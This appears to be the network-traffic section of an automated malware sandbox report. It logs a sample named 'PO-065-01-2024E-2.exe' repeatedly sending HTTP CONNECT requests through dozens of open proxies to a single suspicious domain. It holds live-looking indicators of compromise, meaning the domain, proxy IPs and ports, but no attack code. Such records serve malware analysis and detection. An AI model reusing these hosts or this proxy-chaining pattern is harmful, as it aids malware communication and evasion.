Mar 11, 2024 16:39:51.802246094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.956676006 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1467	192.168.2.10	54489	47.243.92.199	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.802752972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.105421066 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1468	192.168.2.10	54517	185.109.184.150	56067	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.804399967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.504699945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.598542929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.598527908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.411118984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.207869053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:06.910881042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:14.207530975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1469	192.168.2.10	54409	117.160.250.138	8899	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.812331915 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.801594973 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.208060026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.004761934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.443859100 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:39:57 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1470	192.168.2.10	54529	61.111.38.5	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.812412977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.129230022 CET	507	IN	HTTP/1.1 502 Proxy Error Date: Mon, 11 Mar 2024 15:39:51 GMT Server: Apache Content-Length: 341 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 32 20 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 72 65 63 65 69 76 65 64 20 61 6e 20 69 6e 76 61 6c 69 64 0d 0a 72 65 73 70 6f 6e 73 65 20 66 72 6f 6d 20 61 6e 20 75 70 73 74 72 65 61 6d 20 73 65 72 76 65 72 2e 3c 62 72 20 2f 3e 0d 0a 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 3c 70 3e 52 65 61 73 6f 6e 3a 20 3c 73 74 72 6f 6e 67 3e 45 72 72 6f 72 20 72 65 61 64 69 6e 67 20 66 72 6f 6d 20 72 65 6d 6f 74 65 20 73 65 72 76 65 72 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 70 3e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>502 Proxy Error</title></head><body><h1>Proxy Error</h1><p>The proxy server received an invalidresponse from an upstream server.<br />The proxy server could not handle the request<p>Reason: <strong>Error reading from remote server</strong></p></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1471	192.168.2.10	54634	192.154.246.96	9000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.816529036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1472	192.168.2.10	53764	79.110.201.235	8081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.818816900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1473	192.168.2.10	54675	172.67.206.105	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.829196930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.983875036 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1474	192.168.2.10	54624	162.241.79.22	52048	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.837980032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.489123106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.176928997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.489357948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.989166975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.489211082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.973562956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:06.973335981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1475	192.168.2.10	50526	36.95.189.165	5678	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.838471889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1476	192.168.2.10	54582	23.137.248.197	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.840368986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1477	192.168.2.10	53872	91.134.140.160	48962	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.841860056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.385128021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.098716974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.398650885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.707827091 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.052772999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.411029100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1478	192.168.2.10	54581	92.205.105.134	11474	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.847008944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.489248991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.482038021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.286329031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.785972118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1479	192.168.2.10	54716	185.162.231.254	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.847009897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.001116037 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1480	192.168.2.10	54721	104.21.64.208	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.847351074 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.001965046 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1481	192.168.2.10	54605	184.170.245.148	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.847439051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1482	192.168.2.10	54539	94.45.74.60	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.847511053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1483	192.168.2.10	54487	103.127.1.130	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.852339983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.240782976 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1484	192.168.2.10	54639	35.185.196.38	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
